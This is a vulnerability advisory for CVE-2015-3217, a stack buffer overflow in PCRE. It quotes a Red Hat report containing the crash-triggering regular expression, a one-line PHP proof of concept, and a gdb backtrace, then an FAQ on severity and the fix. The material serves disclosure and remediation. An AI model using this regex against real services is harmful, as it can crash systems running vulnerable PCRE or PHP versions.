CVE-2015-3217: Buffer Overflow
PCRE 7.8 and 8.32 through 8.37, and PCRE2 10.10 mishandle group empty matches, which might allow remote attackers to cause a denial of service (stack-based buffer overflow) via a crafted regular expression, as demonstrated by /^(?:(?(1)\\.|([^\\\\W])?)+)+$/.
Other sources
Stack buffer overflow was reported in PCRE library. Original report: """ Latest version of PCRE is prone to a Stack Overflow vulnerability which could caused by the following regular expression.
/^(?:(?(1)\\.|([^\\\\W])?)+)+$/
To reproduce the problem, we could use pcretest provide by PCRE library or applications which is wrapped with PCRE such as PHP. For pcretest, simply type the regular expression after the re> For PHP, latest version of PHP 5.6.9 (wrapped with PCRE 8.37) could be triggered by following code snippet.
<?php pregmatch("/^(?:(?(1)\\\\.|([^\\\\\\\\W])?)+)+$/","abcd",$arr); ?>
Other versions and applications may also be affected.
Following test is conveyed under Kali Linux (based on Debian x64) with php 5.6.9: ============================================================== (gdb) r poc.php Program received signal SIGSEGV, Segmentation fault. 0x000000000047294f in match (eptr=0x7ffff7eb7d91 "DLAB", ecode=0x10070ad "\035\\\fw", mstart=0x7ffff7eb7d90 "ADLAB", offsettop=4, md=0x7fffffffa9a0, eptrb=0x0, rdepth=11130) at /root/php-5.6.9/ext/pcre/pcrelib/pcreexec.c:1439 1439 RMATCH(eptr, ecode, offsettop, md, eptrb, RM49); (gdb) bt #0 0x000000000047294f in match (eptr=0x7ffff7eb7d91 "DLAB", ecode=0x10070ad "\035\\\fw", mstart=0x7ffff7eb7d90 "ADLAB", offsettop=4, md=0x7fffffffa9a0, eptrb=0x0, rdepth=11130) at /root/php-5.6.9/ext/pcre/pcrelib/pcreexec.c:1439 #1 0x000000000047e2ee in match (eptr=0x7ffff7eb7d91 "DLAB", ecode=0x10070dd "y", mstart=0x7ffff7eb7d90 "ADLAB", offsettop=4, md=<optimized out>, eptrb=0x0, rdepth=11129) at /root/php-5.6.9/ext/pcre/pcrelib/pcreexec.c:2061 #2 0x0000000000472f45 in match (eptr=0x7ffff7eb7d90 "ADLAB", ecode=0x10070b4 "\205", mstart=0x7ffff7eb7d90 "ADLAB", offsettop=2, md=0x7fffffffa9a0, eptrb=0x7fffff7ffa00, rdepth=11128) at /root/php-5.6.9/ext/pcre/pcrelib/pcreexec.c:983 #3 0x0000000000472e2d in match (eptr=0x7ffff7eb7d90 "ADLAB", ecode=0x10070b3 "\222\205", mstart=0x7ffff7eb7d90 "ADLAB", offsettop=2, md=0x7fffffffa9a0, eptrb=0x7fffff7ffa00, rdepth=11127) at /root/php-5.6.9/ext/pcre/pcrelib/pcreexec.c:1878 #4 0x0000000000472957 in match (eptr=0x7ffff7eb7d90 "ADLAB", ecode=0x10070b3 "\222\205", mstart=0x7ffff7eb7d90 "ADLAB", offsettop=2, md=0x7fffffffa9a0, eptrb=0x0, rdepth=11126) at /root/php-5.6.9/ext/pcre/pcrelib/pcreexec.c:1439 #5 0x000000000047e2ee in match (eptr=0x7ffff7eb7d90 "ADLAB", ecode=0x10070e0 "y", mstart=0x7ffff7eb7d90 "ADLAB", offsettop=2, md=<optimized out>, eptrb=0x0, rdepth=11125) """
Upstream bug: https://bugs.exim.org/showbug.cgi?id=1638 Upstream commits:
http://vcs.pcre.org/pcre/code/trunk/pcrecompile.c?r1=1560&r2=1562&pathrev=1562 http://vcs.pcre.org/pcre/code/trunk/pcrecompile.c?r1=1559&r2=1560&pathrev=1562 (I'm not sure which one fixes the issue exactly though)
Steps to reproduce could be found in the flaw description above.
— Red Hat
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2015-3217?
CVE-2015-3217 has a high severity level due to its potential to cause denial of service via stack-based buffer overflow.
How do I fix CVE-2015-3217?
To fix CVE-2015-3217, update to PCRE version 8.38 or later.
Which versions of PCRE are affected by CVE-2015-3217?
CVE-2015-3217 affects PCRE versions 7.8, 8.32 through 8.37, and PCRE2 version 10.10.
Can CVE-2015-3217 be exploited remotely?
Yes, CVE-2015-3217 can be exploited remotely through a crafted regular expression.
What type of issue does CVE-2015-3217 represent?
CVE-2015-3217 represents a stack-based buffer overflow vulnerability.